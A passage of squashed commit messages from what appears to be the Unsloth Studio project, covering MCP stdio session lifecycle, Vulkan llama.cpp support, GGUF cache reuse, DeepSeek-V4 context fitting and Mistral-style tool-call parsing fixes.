* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* address review: per-thread MCP scope, close-during-connect and abort races
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* address review: unblock no-limit calls on close, drain borrowers before close, scope closes to url+env
* don't retry sessions closed by config changes, re-verify server row before caching, keep env secrets out of generation keys
* fail fast on connect errors and make the stdio key-lock wait cancellable
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* quote MCP scope parts so IDs with colons can't collide
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* serialize per-session stdio calls, span one timeout budget across connect and call, hash urls in generation keys
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden persistent stdio MCP sessions: crash recovery, concurrency, scoping
- Evict a stdio session on any transport-level (non-ToolError) call failure and
do not replay it, so a mid-call subprocess crash can no longer poison the scope.
Never gate liveness on Client.is_connected() (it only reports that a session
object exists, not that the subprocess is alive); add a version-adaptive
dead-transport probe that works on fastmcp 3.0.2 and newer.
- Re-check closed/defunct/config and transport liveness after acquiring the call
lock, and retire a session before releasing the lock, so a queued same-scope
caller never reuses a session that another caller's timeout already retired.
- Force a ProactorEventLoop on Windows so the stdio transport can always spawn
subprocesses regardless of the active event-loop policy.
- Scope stdio sessions per conversation: require thread_id to persist, and tag
the fields so a session_id and a thread_id with the same value cannot collide.
A session_id alone is project-wide, so it now falls back to a safe one-shot
session instead of sharing browser/DB/REPL state across conversations.
- Forward thread_id on the Anthropic Messages path.
- Treat timeout=None as unlimited on connect and the key lock (was capped at 60s).
- Bound the session cache (default 32, override via
UNSLOTH_STUDIO_MAX_STDIO_MCP_SESSIONS) with LRU eviction of idle sessions.
- Run config_check on cache hits, and log a redacted exe#digest label instead of
the raw command so credentials in argv never reach the logs.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim the stdio MCP session cache on release and skip close-generation for HTTP servers
Two fixes from review of the persistent stdio session lifecycle:
- Re-enforce the session cap when a session goes idle. A concurrent burst of
distinct-scope calls can overshoot the cap while every cached session is busy
(insert-time eviction only reclaims idle sessions), and the overshoot used to
persist until the 5-minute idle reaper. _release_stdio_session now trims the
idle overshoot back within the cap, without ever evicting an in-flight call.
- close_stdio_sessions() now no-ops for a specific non-stdio (HTTP/SSE) url.
Those transports are never cached as stdio sessions, so calling it on every
HTTP server update or delete used to accrue an unbounded close-generation entry.
Both are covered by regression tests that fail before the change and pass after.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the live stdio MCP session across a display-name rename
The edit dialog resends url, headers, and use_oauth unchanged whenever a
server is saved, so gating the tool-cache invalidation and stdio session
close on field presence dropped the persistent process on a plain rename
or any no-op edit. Gate on a real value change against the stored row so
only a genuine endpoint, auth, or enable change closes the session.
Regression tests: a rename that resends unchanged url/headers/oauth keeps
the session; a real command change still closes it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments in the stdio MCP session lifecycle
Collapse a few verbose comments to fewer lines with the wording preserved,
and drop one that restated the clear_oauth_tokens_async docstring. Comments
only; no code change.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Studio: resolve the repo-root MTP drafter after the MTP/ GGUF rename
The Gemma 4 QAT GGUF repos renamed the higher-precision MTP/ subdir
copies from gemma-4-...-<quant>-MTP.gguf to mtp-gemma-4-...-<quant>.gguf,
so their basenames now start with the same mtp- prefix as the small
repo-root drafter (mtp-gemma-4-E4B-it.gguf).
The drafter selectors filtered candidates by a mtp- basename prefix and
took the first in sort order. With the new names the MTP/ copies also
match, and because MTP/ (uppercase) sorts before the lowercase root file,
selection flipped to the large BF16 copy under MTP/ instead of the root
drafter both functions document they should pick.
Restrict both selectors, and the companion byte estimate, to root-level
mtp-*.gguf so the MTP/ copies stay explicit-selection only:
- core/inference/llama_cpp.py _pick_mtp (loader auto-download)
- hub/utils/gguf_plan.py preferred_mtp_sibling (Hub variant plans)
- routes/inference.py _remote_gguf_companion_bytes (VRAM headroom)
Also reuse a drafter already in the local cache before downloading, so a
device that already holds a copy on disk does not re-fetch it.
Old-scheme names keep working (they have no root-level mtp- sibling to
mis-select). Adds regression tests for the new naming, both selection
paths, and the on-disk reuse.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: gate MTP drafter cache reuse to offline mode
Reuse the cached drafter only when HF is offline. Online, route back
through _download_companion_gguf/hf_hub_download so the current revision
is checked (etag) and a changed drafter is refetched, matching the
offline-only cross-snapshot reuse already used for the main GGUF. This
avoids pairing freshly downloaded weights with a stale cached draft.
Make the reuse tests offline and add an online-skips-reuse test.
* Studio: prefer a root MTP drafter across all cached snapshots
Offline reuse scanned snapshots one at a time and returned the first
snapshot that held any drafter, only preferring root within it. A newer
partial snapshot with just the MTP/ copy could shadow the small root
drafter in an older snapshot. Collect drafters across all snapshots and
prefer any repo-root file before an MTP/ copy.
* Studio: keep newest-first snapshot order when reusing cached drafters
Collecting root candidates and sorting by absolute snapshot path could
pick a drafter from an older snapshot. _iter_hf_cache_snapshots yields
newest first and the main GGUF is resolved in that order, so preserve it
(root still preferred over MTP/ copies) to avoid pairing a fresh main
weight with a stale drafter revision.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: add Vulkan llama.cpp support
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address gemini's feedback
* Studio: move the Vulkan VRAM probe into a standalone script
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Improve Vulkan probe error reporting
* Resolve llama-server symlink so Vulkan build is detected
* Drop unreachable Vulkan fallback in GPU free-memory dispatcher
* Skip the Intel GPU probe when NVIDIA or ROCm is present
* Reserve host RAM headroom for Vulkan integrated GPUs
* Add a `UNSLOTH_FORCE_VULKAN` environment variable
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Honor GGML_VK_VISIBLE_DEVICES, reserve discrete Vulkan VRAM headroom, and clear Intel GPU on --cpu-fallback
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Route Intel and forced-Vulkan hosts to the upstream Vulkan prebuilt, add arm64 Vulkan, keep Vulkan out of RAG auto-detect
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Clear the fork release pin when routing a Vulkan host to the upstream repo
* Gate auto-Vulkan routing on no physical NVIDIA so hidden CUDA devices aren't used
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Pin Vulkan launches with --device Vulkan<i> instead of the raw GGML_VK_VISIBLE_DEVICES index space
* Let user --device override the Vulkan pin, and gate direct Vulkan asset picks on no physical NVIDIA
* Update RAG auto-backend test mocks for the _resolve_auto binary and Vulkan probes
* Keep the add_dll_directory handle alive through the Vulkan probe DLL loads
* Revert RAG auto Vulkan guard, guard multi-backend Vulkan detection, and preserve forced Vulkan across updates
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Use getattr for RTLD_GLOBAL in the Vulkan probe CDLL mode
* Skip CUDA/ROCm APU and datacenter GPU tuning on Vulkan builds
On a Vulkan llama.cpp build gpu_indices are ggml compact ordinals, not
CUDA/ROCm physical ids, so _amd_apu_wants_unified_memory and
_apply_datacenter_env were reading the wrong device. On a mixed AMD APU
plus discrete GPU host that could raise a spurious system-RAM shortfall
and block a valid discrete-GPU load. Gate all three call sites on
not is_vulkan_backend; the Vulkan path already reserves iGPU host
headroom and the backend ignores GGML_CUDA_* anyway.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten Vulkan-guard comment in load_model
* Reduce comments in Vulkan support to be more succinct
* Resolve shell-wrapper llama-server entrypoint to the real lib dir
create_exec_entrypoint falls back to a #!/bin/sh wrapper at the install
root when it cannot symlink into build/bin. _find_llama_server_binary
returns that root entrypoint, but Path.resolve() does not follow a shell
wrapper, so _llama_lib_dir returned the install root and _is_vulkan_backend
missed libggml-vulkan.so -- silently skipping the Vulkan probe and --device
pin on an otherwise valid Vulkan install. Follow the wrapper's exec target
to build/bin. Regression test: test_shell_wrapper_entrypoint_resolves_to_real_lib_dir.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Studio: allow CPU-only DiffusionGemma by granting the diffusion runner the CPU device
* Studio: mark CPU-only DiffusionGemma as non-GPU-resident for training VRAM preflight
* Studio: keep the CPU DiffusionGemma change minimal (revert VRAM-flag tweak; Metal hosts still hold unified memory)
* Studio: keep CPU DiffusionGemma fallback fully CPU-masked so a masked GPU host does not re-expose GPU 0
* fix: handle case-variant GGUF cache hits for unsloth start
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gguf cache: keep split shards co-located and isolate cache tests properly
When a cached main shard was reused from an older snapshot, the extra shards
were resolved independently and could come from a different snapshot dir (or a
fresh download into the current ref), leaving llama.cpp unable to load a
multi-shard GGUF whose pieces are split across directories. Only reuse a cached
main shard when every sibling shard sits in the same snapshot; otherwise fetch
the whole set together so they stay co-located.
Also patch huggingface_hub.constants.HF_HUB_CACHE (not just the HF_HUB_CACHE env
var) in the two cache tests that seeded a temp cache: the snapshot lookup reads
the module constant, so the env-only override let the real cache leak in and
skip an asserted download.
* Do not let a companion-only cache snapshot shadow real GGUF variants
When listing GGUF variants from the local HF cache, a newer snapshot may
contain only a companion file (for example a vision projector fetched on
demand) while the actual quant files live in an older snapshot. The prior
scan returned the first snapshot whose vision flag was set, yielding an
empty variant list and hiding the real quants. Keep scanning older
snapshots for actual variants and carry the vision flag across snapshots.
Also record the disk-space fallback variant's size in expected_sizes so
the later cache-reuse probe can size-verify the fallback main shard
instead of only checking for its existence.
* Propagate cached repo casing to companions and preflight split co-location
Two fixes to the case-variant GGUF cache reuse:
- Resolve the requested repo id to its cached canonical casing once in
load_model, up front, and pass it to the main GGUF and its companions
(mmproj / MTP drafter). Previously only _download_gguf resolved the
casing internally, so a case-variant request loaded the main file from
the canonical cache dir while the companions kept the requested casing
and missed the cached vision projector / drafter offline. Extracted the
resolution into a shared _resolve_repo_id_casing helper.
- Apply the split-shard co-location check in the disk-space preflight. When
a split GGUF's shards are cached across different snapshots the whole set
is refetched later, so counting them as cached made the preflight read 0
bytes to download, skip the smaller-variant fallback, and then fail the
full download on a low-disk machine.
* Reuse a co-located split GGUF snapshot and fix split fallback size probe
- When reusing a cached split GGUF, scan snapshots for one that holds the
whole set co-located instead of taking the newest snapshot's first shard.
A newer snapshot with only the first shard no longer shadows an older
complete snapshot, so an already-cached split model is reused rather than
refetched (which would fail offline).
- The disk-space fallback records its size in expected_sizes only for a
single-file fallback. _find_smallest_fitting_variant returns the whole
variant size, so using it as the first shard's expected size rejected a
valid cached first shard of a split fallback and forced a re-download.
* Scan for a complete split snapshot in the preflight; require a loaded catalog hit
- The disk-space preflight now uses the same co-located snapshot scan as the
download path (_cached_colocated_split_main) instead of the newest-snapshot
probe, so a newer snapshot holding only the first shard no longer masks an
older complete one and trips the smaller-variant fallback for a fully cached
split model.
- _resolve_model only attaches to a /v1/models entry that is actually loaded
(loaded != False). /v1/models also lists cached-but-unloaded catalog entries,
and matching one by case skipped /api/inference/load and left the agent
pointed at a model that is not resident.
* Restrict cross-snapshot GGUF cache reuse to offline
Reusing a same-name blob from an older or case-variant snapshot bypasses the
Hub revision/etag check, so a repo that updates a GGUF in place could serve
stale weights online. Gate the cross-snapshot and case-variant reuse (both the
disk-space preflight accounting and the download path) on HF_HUB_OFFLINE.
Online, hf_hub_download fetches the current revision and resumes a partial
download, so the reuse is unnecessary there; offline it remains the resilience
fallback. Marked the two reuse regression tests as the offline scenarios they
represent and added an online test asserting a fresh fetch.
* Harden offline cache reuse and hub-id detection
Three follow-ups on the case-variant GGUF cache path:
- Honor every truthy HF_HUB_OFFLINE spelling (1/true/yes/on), not just "1", when
gating the cross-snapshot and case-variant cache reuse. With HF_HUB_OFFLINE=true
the Hub calls are already offline, so the reuse must trigger or the cached GGUF
fails to load; route both the preflight accounting and the download path through
the same offline parse the rest of the backend uses.
- Resolve mmproj/MTP companions from the actual cached snapshot when offline.
resolve_cached_repo_id_case can keep a partial lower-case spelling when any dir
exists under the requested casing, so an hf_hub_download on that casing misses the
canonical companion; scan every case-variant snapshot and return the cached path.
- Restrict the case-insensitive model-id match to syntactically valid hub ids
(a single namespace/name over the HF charset). A server-side relative path such
as models/Llama/Foo.gguf is no longer treated as a hub id, so it cannot
casefold-match a differently cased path on a case-sensitive filesystem. This is
host independent, unlike the local-existence probe which cannot see a server path.
* Only casefold-match model ids against a loopback Studio
A two-segment string like Models/Foo is indistinguishable from a hub id, and the
local Path.exists() probe in _is_hub_model_id cannot see a path that exists only
on a remote Studio host. So against a remote server, casefolding could attach to
a distinct server-side path (Models/Foo vs models/foo) on a case-sensitive
filesystem. Gate the case-insensitive match on is_loopback_url(base): only a
local Studio, where the existence probe is authoritative, casefolds. For a remote
Studio the match is exact and a case-mismatched request falls through to
/api/inference/load, whose already-loaded dedup resolves it correctly.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
* Studio: heal DiffusionGemma tool calls into structured tool_calls
* Fall back to supports_tools for backends without the passthrough capability
* Route DiffusionGemma client tools through passthrough when enable_tools is on
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Drop orphaned strip_tool_call_markup import after syncing with main
* Tighten supports_tool_passthrough comment
* Re-run CI on current main
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: account for DeepSeek-V4 compute buffer in context auto-fit
DeepSeek-V4-Flash's lightning indexer plus compressed sparse attention reserve a
large context-scaling compute buffer that _compute_buffer_ctx_bytes did not model
(the KQ-mask and dequant-scratch rates both miss it, even with an f16 cache).
Measured on UD-Q4_K_XL at ub 512 it is about 65.5 GiB at 1M context, which the
mask estimate puts near 1.5 GiB, so the auto-fit kept the full 1M train context
and llama-server OOM'd allocating the ~70 GB buffer, then spilled to CPU (~4
tok/s). Add a deepseek4-gated flat plus per-token term so the fit caps the context
(about 256k on a B200) and the model stays fully on GPU.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Add DeepSeek-V4-Flash-GGUF to Studio with none/high/max reasoning
Adds unsloth/DeepSeek-V4-Flash-GGUF as a default selectable model with the
recommended decoding defaults (temperature 1.0, top_p 1.0 from the official
generation_config.json) and its three tier reasoning control. The high/max
ladder is surfaced for deepseek-v4 model ids and flows through the existing
enable_thinking_effort reasoning style via chat_template_kwargs, so no
frontend changes are needed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio DeepSeek-V4: segment-scope high, enable thinking for lone effort, render tests
Match deepseek-v4 on whole repo-name segments so a future deepseek-v40 or
deepseek40 cannot false-match the synthetic 'high'. In _request_reasoning_kwargs,
emit enable_thinking when a named effort level is sent without it, so the
newly exposed High mode renders thinking-on over the API (the UI already sent
it explicitly). Add a none/high/max render-path test file (jinja behind
importorskip) with a lone-high regression.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio chat: tool-call nudging on by default (API stays opt-in)
Healing is already default-on everywhere and the nudge retry from the
client-tool passthrough is opt-in on the API. Studio chat had neither
signal: the frontend never sent nudge_tool_calls, and the safetensors
and MLX server-side loop lacked the GGUF loop's plan-without-action
re-prompt entirely.
Backend: the re-prompt helpers move from llama_cpp.py into
tool_call_parser.py (shared, cycle-free; the GGUF loop imports them
under its old names with zero behavior change) and
run_safetensors_tool_loop now re-prompts once at the streaming
no-tool-call exit, gated on Auto-Heal, active tools, nothing executed
yet, and short forward-looking text. Re-prompts do not consume tool
iterations.
Frontend: the chat adapter sends nudge_tool_calls from a new
nudgeToolCalls runtime setting (default true) with the same
persistence, hydration, and settings toggle plumbing as Auto-Heal.
Request-model defaults are untouched, so raw API callers stay opt-in.
* Address review: persist the nudge setting, consume the flag in the loops, skip the re-prompt after RAG autoinject
ChatSettingsPayload uses extra forbid, so a settings patch containing
nudgeToolCalls failed to persist any settings; the field is now typed
and round-trips. nudge_tool_calls now plumbs into both server-side tool
loops and gates the plan-without-action re-prompt with None meaning on,
so API callers keep today's behavior, explicit false disables it, and
Studio's default-on flag actually controls the path Studio chat runs.
The safetensors loop no longer re-prompts after RAG autoinject: the
injected retrieval bypasses the tool controller, so the nothing-executed
gate saw an empty history and re-asked after a successful retrieval.
* Safetensors loop: the plan-without-action retry requires an explicit nudge flag
The retry is new on this loop, so an omitted nudge_tool_calls must not
change existing API behavior; Studio opts in explicitly. The GGUF loop
keeps None as on because its re-prompt predates the flag.
* Suppress the plan-without-action re-prompt after a denied tool confirmation
A denial appends TOOL_REJECTED_MESSAGE but records nothing in the tool
controller history, so the nothing-executed gate re-prompted the model
to call the tool the user had just rejected, producing another
confirmation prompt. A denial now suppresses the re-prompt for the rest
of the request, mirroring the RAG autoinject handling.
* Tighten plan-without-action re-prompt comments
* Tighten plan-without-action re-prompt comments
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: match unified plan-without-action nudge cap to GGUF default of 3
The shared MAX_ACT_REPROMPTS was set to 1, but GGUF's established default
(llama_cpp.py) has re-prompted a stalling model up to 3 times since #5620.
Restore the GGUF-matched cap so safetensors and MLX inherit the same
behavior, and update the safetensors cap test to assert the cap dynamically.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: parse Mistral [TOOL_CALLS] and rehearsal tool-call shapes
Extends the rescue parsers in core/tool_healing.py and
core/inference/tool_call_parser.py to recognise two extra serialisations
local models commonly emit when bypassing native function calling:
* [TOOL_CALLS]name{json_args} (Devstral-Small-2, Mistral-Small-3.x).
* name[ARGS]{json_args} (reasoning-model rehearsal).
Both extractors use a brace-balance scan that honours escapes and
quoted strings so nested JSON args stay intact.
Also pre-strips <think>...</think> and [THINK]...[/THINK] blocks before
matching so calls emitted after a reasoning preamble are recognised
regardless of position.
Streaming gates (TOOL_XML_SIGNALS, llama_cpp.py _TOOL_XML_SIGNALS) and
the SSE strip regex (routes/inference.py _TOOL_XML_RE) gain the new
sentinels so the parser is actually invoked and the raw markup never
leaks to the UI.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Strip unclosed think blocks and catch rehearsal [ARGS] mid-buffer
The pre-existing ``_THINK_TAG_RE`` only matched closed thinking
blocks (``<think>...</think>`` or ``[THINK]...[/THINK]``). During
streaming the model is still inside the open block when the parser
runs, so any tool-shaped markup the model is REHEARSING inside that
block survived the strip and could be executed as a real call.
Switch both copies of the regex (parser + healing) to accept the
trailing block being terminated by end-of-string in addition to
the explicit closer.
The ``_TOOL_XML_SIGNALS`` list on the llama_cpp streaming buffer
included ``[ARGS]`` to catch rehearsal syntax, but the gate used a
``startswith`` check against the buffer head -- rehearsal is shaped
``name[ARGS]{json}``, so the buffer never STARTS with ``[ARGS]``
and the signal had no effect. Add a substring fallback for the
bracket-style signals so the BUFFERING window can still divert the
stream into DRAINING when rehearsal markup arrives mid-buffer.
Adds three regression tests covering rehearsal inside unclosed
``<think>`` / ``[THINK]`` blocks (must yield no calls) and the
positive case after a closed think block (still parsed).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden bracket-tag tool-call parsing and streaming strip
Address review findings on the Mistral [TOOL_CALLS] / rehearsal [ARGS] paths:
- Accept hyphenated tool names in the bracket parsers and strip patterns.
_MISTRAL_BRACKET_RE and _REHEARSAL_RE used \w+, which dropped or truncated
MCP function names containing dashes (mcp__srv__list-issues). Use [\w-]+ to
match the XML and Gemma parsers.
- Strip a partial bracket marker streamed before its opening brace. The
trailing-unclosed patterns required the {, so a [TOOL_CALLS]web_search or
python[ARGS] split across deltas leaked the raw marker to the UI. Match the
bare marker to end-of-text, mirroring how the bare open tags are stripped.
Closed pairs are unchanged so in-progress markup stays buffered until parsed.
- Strip a truncated bracket tail in the route-level display regex. _TOOL_XML_RE
required a balanced JSON object; a tool call truncated by EOS now strips up
to \Z, like the orphan-opening XML shapes. Complete calls still strip only
their balanced JSON so following prose survives.
Add regression tests for hyphenated names, the streaming partial-marker strip,
and the unclosed-tail route strip.
* Studio: preserve XML parameter indentation in tool_healing
The chat template emits <parameter=k>\nVALUE\n</parameter>; the parameter-start
regex consumed the wrapping newline AND the value's first-line indentation via a
trailing \s*, then str.strip() removed the rest, corrupting code/diff arguments.
Narrow the trailing class to horizontal whitespace and trim exactly one wrapping
newline (_trim_param_value), preserving indentation. Matches SGLang's qwen3_coder
detector and the same fix on the multi-format parser. Add a regression test.
* Studio: tighten Mistral/rehearsal tool-call comments
Compress the comments in the Mistral [TOOL_CALLS] / rehearsal [ARGS] healing shim
and its callers to one or two lines, keeping the bracket-tag stripping rationale,
the thinking-block handling note, and the forge attribution intact.
Comment-only: no code or behavior change (verified with comment_tools.py check
--strip-docstrings; tests green).
* Studio: fix think-strip arg corruption and nested bracket-JSON strip
Review follow-up for the Mistral/rehearsal healing shim:
- The <think>/[THINK] strip ran unconditionally over the whole content before
parsing, so a real tool argument that legitimately contained a <think> /
[THINK] literal was silently corrupted. Don't delete the blocks: compute the
reasoning-block spans and skip any tool-call candidate that STARTS inside one,
across all parse paths (JSON, Gemma, XML, bracket, rehearsal). A rehearsed call
inside reasoning is still ignored; a real call after </think> still parses.
- The bracket-tag display strip used a fixed one-level-nesting regex, so a call
with two-level-nested JSON args either leaked raw markup or, in final mode, let
the catch-all eat the trailing prose. Add a balanced-brace
_strip_bracket_tag_calls pass (any nesting depth) used by strip_tool_call_markup
and the route display strip.
Add regressions: <think>/[THINK] literal inside a real argument, rehearsal-inside-
think with a real call after, and two-level-nested bracket/rehearsal strip keeping
trailing prose.
* Studio: correct think-block comments to match span-skip behavior
The think-strip fix replaced the unconditional think-block strip with a
span-skip (the block is kept and any tool-call candidate starting inside it is
ignored), but two comments still described the old strip-first behavior. Update
the _THINK_TAG_RE comment and the parse_tool_calls_from_text docstring.
* Studio: parse Mistral arrays and call-ids, unify bracket parse/strip, keep it linear
- Parse the canonical Mistral array form (TOOL_CALLS followed by a JSON list of
calls) and emit every call; parse the v11 shape that carries an opaque CALL_ID
token between the name and ARGS (the function name is the token after
TOOL_CALLS, never the call-id); and parse a Mistral call plus a rehearsal call
in one message (the second was dropped yet still stripped from display).
- One shared balanced forward scan (_iter_bracket_spans) backs both the parser
and the strip path, so they no longer diverge. It is linear: each regex is
re-searched only once its cached match falls behind the cursor, replacing the
per-match full-tail re-scan that was O(n^2) (O(n^3) over a stream). A length cap
before the scan is a backstop.
- strip_tool_call_markup preserves think/reasoning blocks verbatim (the parser
skips tool markup inside them), stripping only the visible text around them.
- _in_think uses bisect over the sorted think spans (was a linear scan per
candidate).
- GGUF streaming strip runs the balanced bracket pre-pass before the regex
patterns so nested-arg calls do not leak or eat trailing prose, and the
BUFFERING ARGS detector requires the rehearsal name-ARGS shape.
- Tests: canonical array, array string-args, array strip keeps prose, Mistral
plus rehearsal multi-call, v11 call-id name, think-rehearsal strip
preservation, and bracket-strip linearity.
* Studio: preserve reasoning blocks in the route and streaming strip paths too
Addresses Gemini/Codex review: making strip_tool_call_markup preserve think
blocks left the route display strip and the GGUF streaming strip inconsistent,
so a rehearsed call inside a reasoning block was still deleted from the visible
text on those paths.
- Extract the think-block segmentation into one shared helper (strip_outside_think)
and route all three strip paths through it: strip_tool_call_markup,
_strip_tool_xml_for_display, and the GGUF _strip_tool_markup_streaming closure.
- Add a route-strip regression test that a rehearsal inside a reasoning block is
preserved while a real call outside it is still stripped.
* Studio: fix bracket-tag strip/buffer review findings
Address the live code-review findings on the Mistral bracket-tag / rehearsal
tool-call rescue path:
- tool_healing: a literal think block inside a tool-call argument is no longer
treated as a reasoning block. strip_outside_think now excludes think spans
that sit inside a complete tool-call span, so the call is stripped whole
instead of the split hiding its open/close pair and leaking the raw call.
- tool_healing: the rehearsal trailing-strip pattern requires a following brace
or end-of-text, so prose that merely mentions name[ARGS] is not truncated as
a phantom call. The bracket strip patterns are aligned with the parser
regexes (whitespace, v11 [CALL_ID]/[ARGS] metadata, and the [CALL_ID]
lookbehind).
- routes: strip a truncated canonical Mistral array ([TOOL_CALLS] [{... with no
closing bracket) that the balanced scan cannot remove, align the display
regex with the parser regexes, and apply the same rehearsal-prose guard.
- safetensors loop: mirror the GGUF [ARGS] rehearsal-substring check during
BUFFERING so a rehearsal name does not stream before its [ARGS] arrives.
Adds regression tests for each; existing parser suite stays green.
* Studio: hold split rehearsal tool-name prefix in both streaming loops
A reasoning-model rehearsal call can stream the tool name and its [ARGS] arm in
separate chunks (web_search then [ARGS]{...}). The buffering detector only
recognised the rehearsal once [ARGS] was present, so the bare tool name was
emitted as visible content before the call drained and executed.
Add _is_rehearsal_prefix (mirrored in the safetensors loop and the GGUF loop):
when a no-signal buffer is a bare active-tool name -- or a partial prefix of
NAME[ARGS] -- hold it as a prefix instead of streaming it, so the next chunk's
[ARGS] flips it to a drain. A whitespace in the buffer means prose, not a split
call, so ordinary text still streams.
Adds regression tests for the split rehearsal in both loops and a guard that a
plain non-tool word still streams.
* Studio: route Anthropic tool-call cleanup through the protected display strip
The Anthropic stream, non-stream, and passthrough paths cleaned content with raw
_TOOL_XML_RE.sub instead of _strip_tool_xml_for_display, so a rehearsal call
inside <think> was deleted from the reasoning and a nested [TOOL_CALLS] call
dropped its trailing prose (the OpenAI-compatible paths already use the helper).
Route all four sites (prior-assistant cleanup, streaming content events,
non-stream aggregation, passthrough conversion) through the protected helper, and
add a source-level guard test so raw _TOOL_XML_RE.sub stays confined to the
helper itself.
* Studio: stop split rehearsal tool names leaking once streaming, uncapped, or unrestricted
The split-rehearsal guard (NAME in one chunk, [ARGS]{...} in the next) only held
the name in the initial BUFFERING state. Three gaps remained where the bare tool
name still streamed as visible content before the call drained:
- STREAMING: after prose had already streamed, both loops emitted a trailing
active-tool-name token (and the GGUF/safetensors [ARGS] boundary was not pulled
back over the name). Hold the trailing rehearsal token and release it on the
next chunk, with an end-of-stream flush so a plain answer that merely ends on a
tool-name word is never dropped.
- Buffer cap: a realistic MCP name longer than the 32-char _MAX_BUFFER_CHARS cap
defeated the BUFFERING hold. A rehearsal prefix is self-bounding (it stops
matching once it grows past NAME[ARGS]), so the generic cap no longer applies to
it.
- Unrestricted mode (tools=[]): with no declared tool list, any bare identifier
may be a NAME[ARGS] rehearsal, so the prefix check now recognises one instead of
leaking the name and mis-parsing the call.
Regression tests cover the streaming, long-name, and unrestricted cases plus the
plain-prose paths that must not be held or corrupted.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio tools: protect think blocks in safetensors streaming, hold split rehearsal on initial flush, advertise Mistral tools
Pass-3 review follow-ups on the Mistral [TOOL_CALLS] / rehearsal [ARGS] work:
- Safetensors streaming display strip now preserves think / [THINK] reasoning
verbatim (routes through strip_outside_think like the GGUF path). A call
rehearsed inside a reasoning block was stripped mid-stream and then restored by
the final strip, a non-monotonic shrink/grow that corrupted append-by-length
stream consumers and the visible reasoning.
- The first flush out of BUFFERING (safetensors and GGUF) now applies the same
trailing-name hold the STREAMING branch uses, so a split rehearsal (prose plus a
trailing active tool name in one chunk, [ARGS]{...} in the next) no longer leaks
the bare name before the call drains.
- Safetensors capability gate no longer suppresses tools for Mistral [TOOL_CALLS]
templates, which the shared bracket-tag parser now handles end to end. Llama
python_tag stays suppressed (still unparseable).
- Route display strip applies the open-ended / bare-marker tail arms only on the
segment after the last reasoning block (closed-only regex before it), matching
strip_tool_call_markup, so a bare foo[ARGS] before a reasoning block is preserved
while complete calls are still removed in every segment.
Adds regression tests for each and updates the now-stale Mistral capability test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix tool-call think-marker and bracket-wrapper edge cases
Round-1 review follow-ups on the Mistral/rehearsal tool-call healing:
- tool_healing: a reasoning marker that opens INSIDE a tool call's
arguments is argument data, not a reasoning block. Add
_think_spans_outside_tool_markup (start-inside test) and use it in
both parse_tool_calls_from_text and strip_outside_think so a literal
marker in one call's args no longer hides a later call (parse) or
